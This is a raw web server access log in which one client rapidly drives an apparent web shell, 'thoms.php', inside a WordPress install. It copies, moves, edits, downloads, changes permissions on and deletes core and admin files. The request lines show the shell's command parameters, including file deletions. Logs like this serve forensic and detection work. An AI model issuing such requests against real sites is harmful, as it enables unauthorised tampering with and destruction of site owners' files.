45.135.193.11 - - [11/Sep/2026:23:30:23 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-signup.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-signup.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:23 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:23 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22288 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-signup.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:23 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22250 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-signup.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:23 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-signup.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-signup.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:23 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22217 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-signup.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:23 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-signup.php&finish=1&move=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-signup.php&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:23 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-signup.php&p=wordpress-6.6.2-zh_TW%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-signup.php&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:23 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-cron.php&p=wordpress-6.6.2-zh_TW%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-cron.php&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:24 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-signup.php&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:24 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22261 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-signup.php&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:24 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22233 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-cron.php&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:24 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22215 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:24 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-cron.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-cron.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:24 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-cron.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:24 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-cron.php&finish=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-cron.php&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:24 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-cron.php&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-cron.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:24 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-cron.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-cron.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:24 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-cron.php&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:24 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22264 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-cron.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:24 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22212 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-cron.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:24 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:24 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-cron.php&finish=1&move=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-cron.php&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:24 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-cron.php&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:24 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:24 -0400] "GET /thoms.php?edit=thoms.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?edit=thoms.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:24 -0400] "GET /thoms.php?edit=thoms.php&env=ace&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?edit=thoms.php&env=ace&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:24 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22253 "https://163.245.207.76:443/thoms.php?edit=thoms.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:24 -0400] "GET /thoms.php?edit=xmlrpc.php&env=ace&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?edit=xmlrpc.php&env=ace&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:25 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?edit=thoms.php&env=ace&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:25 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22240 "https://163.245.207.76:443/thoms.php?edit=xmlrpc.php&env=ace&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:25 -0400] "GET /thoms.php?edit=xmlrpc.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?edit=xmlrpc.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:25 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22278 "https://163.245.207.76:443/thoms.php?edit=xmlrpc.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:25 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-comments-post.php&finish=1&move=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-comments-post.php&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:25 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-comments-post.php&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-comments-post.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:25 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-comments-post.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-comments-post.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:25 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-comments-post.php&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:25 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-comments-post.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:25 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22221 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:25 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-comments-post.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:25 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-comments-post.php&p=wordpress-6.6.2-zh_TW%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-comments-post.php&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:25 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-comments-post.php&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:25 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-comments-post.php&finish=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-comments-post.php&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:25 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-comments-post.php&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:25 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-comments-post.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-comments-post.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:25 -0400] "GET /thoms.php?dl=privacy-policy-guide.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=privacy-policy-guide.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:25 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22277 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:25 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-comments-post.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:25 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=privacy-policy-guide.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:25 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fabout.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fabout.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fabout.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:26 -0400] "GET /thoms.php?chmod=edit-form-comment.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=edit-form-comment.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:26 -0400] "GET /thoms.php?del=link-parse-opml.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=link-parse-opml.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:26 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fmedia-new.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fmedia-new.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=edit-form-comment.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?del=link-parse-opml.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fmedia-new.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:26 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fimages HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fimages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fimages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:26 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fmaint&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fmaint&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:26 -0400] "GET /thoms.php?chmod=edit-comments.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=edit-comments.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22137 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fmaint&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:26 -0400] "GET /thoms.php?del=erase-personal-data.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=erase-personal-data.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?chmod=edit-comments.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22254 "https://163.245.207.76:443/thoms.php?del=erase-personal-data.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:26 -0400] "GET /thoms.php?del=media-new.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=media-new.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:26 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/ms-admin.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22232 "https://163.245.207.76:443/thoms.php?del=media-new.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
